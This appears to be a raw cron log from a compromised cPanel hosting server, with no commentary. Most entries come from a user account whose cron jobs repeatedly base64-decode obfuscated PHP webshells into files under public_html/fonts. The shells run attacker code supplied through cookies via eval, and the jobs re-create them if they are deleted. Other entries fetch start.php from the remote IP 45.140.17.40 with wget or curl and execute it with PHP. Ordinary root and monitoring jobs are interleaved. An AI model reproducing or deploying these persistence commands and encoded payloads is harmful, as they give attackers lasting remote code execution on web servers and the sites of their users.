Sep 11 23:16:01 ip-184-168-122-23 CROND[19428]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:16:01 ip-184-168-122-23 CROND[19427]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 23:16:01 ip-184-168-122-23 CROND[19430]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:17:02 ip-184-168-122-23 CROND[19528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:17:02 ip-184-168-122-23 CROND[19530]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:17:02 ip-184-168-122-23 CROND[19533]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:17:02 ip-184-168-122-23 CROND[19534]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:18:01 ip-184-168-122-23 CROND[19621]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:18:01 ip-184-168-122-23 CROND[19624]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:18:01 ip-184-168-122-23 CROND[19625]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:18:01 ip-184-168-122-23 CROND[19623]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:18:01 ip-184-168-122-23 CROND[19626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:19:01 ip-184-168-122-23 CROND[19805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:19:01 ip-184-168-122-23 CROND[19806]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:19:01 ip-184-168-122-23 CROND[19807]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:19:01 ip-184-168-122-23 CROND[19808]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:20:01 ip-184-168-122-23 CROND[19908]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 23:20:01 ip-184-168-122-23 CROND[19909]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 23:20:01 ip-184-168-122-23 CROND[19911]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:20:01 ip-184-168-122-23 CROND[19916]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:20:01 ip-184-168-122-23 CROND[19918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:20:01 ip-184-168-122-23 CROND[19921]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:20:01 ip-184-168-122-23 CROND[19920]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:20:01 ip-184-168-122-23 CROND[19923]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:20:01 ip-184-168-122-23 CROND[19919]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:21:01 ip-184-168-122-23 CROND[20024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:21:01 ip-184-168-122-23 CROND[20028]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:21:01 ip-184-168-122-23 CROND[20026]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:21:01 ip-184-168-122-23 CROND[20027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:22:01 ip-184-168-122-23 CROND[20119]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:22:01 ip-184-168-122-23 CROND[20123]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:22:01 ip-184-168-122-23 CROND[20124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:22:01 ip-184-168-122-23 CROND[20121]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:22:01 ip-184-168-122-23 CROND[20122]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:23:01 ip-184-168-122-23 CROND[20218]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:23:01 ip-184-168-122-23 CROND[20220]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:23:01 ip-184-168-122-23 CROND[20221]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:23:01 ip-184-168-122-23 CROND[20223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:24:01 ip-184-168-122-23 CROND[20404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:24:01 ip-184-168-122-23 CROND[20407]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:24:01 ip-184-168-122-23 CROND[20408]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:24:01 ip-184-168-122-23 CROND[20409]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:24:01 ip-184-168-122-23 CROND[20410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:25:01 ip-184-168-122-23 CROND[20508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:25:01 ip-184-168-122-23 CROND[20509]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:25:01 ip-184-168-122-23 CROND[20511]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 23:25:01 ip-184-168-122-23 CROND[20510]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:25:01 ip-184-168-122-23 CROND[20514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 23:25:01 ip-184-168-122-23 CROND[20513]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:26:01 ip-184-168-122-23 CROND[20613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:26:01 ip-184-168-122-23 CROND[20615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:26:01 ip-184-168-122-23 CROND[20614]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:26:01 ip-184-168-122-23 CROND[20618]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:26:01 ip-184-168-122-23 CROND[20617]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:27:01 ip-184-168-122-23 CROND[20719]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 23:27:01 ip-184-168-122-23 CROND[20718]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:27:01 ip-184-168-122-23 CROND[20721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:27:01 ip-184-168-122-23 CROND[20720]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:28:02 ip-184-168-122-23 CROND[20815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 23:28:02 ip-184-168-122-23 CROND[20816]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:28:02 ip-184-168-122-23 CROND[20818]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 23:28:02 ip-184-168-122-23 CROND[20819]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
